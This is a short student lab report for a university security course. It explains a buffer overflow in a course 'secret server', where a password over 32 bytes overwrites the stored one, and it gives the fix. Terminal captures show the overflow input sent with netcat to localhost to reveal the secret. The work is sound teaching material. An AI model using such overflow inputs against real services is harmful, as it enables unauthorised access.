Name: Chintav Shah (10149329)-T02
Partner: Rukiya Hassan (10140484)-T03

The exploit occurs when the password the client enters for the secret server is larger than the size of the buffer (32 bytes). This is because the 33rd byte overwrites the original password. So, anything that is entered after the 32nd byte becomes the new password. The exploit is fixed by enforcing the pointer to write a maximum of 32 bytes to the buffer.

Sample exploit of original server

```
chintavshah in ~/Dropbox/University/Fourth Year CS/Fall 2017/CPSC 526/A1
[$ ./secretServer 1234 password 'CPSC 526'                                ]
Waiting for a new connection...
Talking to someone.
Someone used an incorrect password.
Waiting for a new connection...
Talking to someone.
Someone used the correct password.
Waiting for a new connection...
```

Figure 1: Starting the server with the original password

```
chintavshah in ~/Dropbox/University/Fourth Year CS/Fall 2017/CPSC 526/A1
[$ nc localhost 1234                                                      ]
Secret Server 1.0
123456789012345678901234567890 12test
I am not talking to you, bye!
chintavshah in ~/Dropbox/University/Fourth Year CS/Fall 2017/CPSC 526/A1
[$ nc localhost 1234                                                      ]
Secret Server 1.0
test
The secret is: CPSC 526
```

Figure 2: Revealing the secret with a different password (test)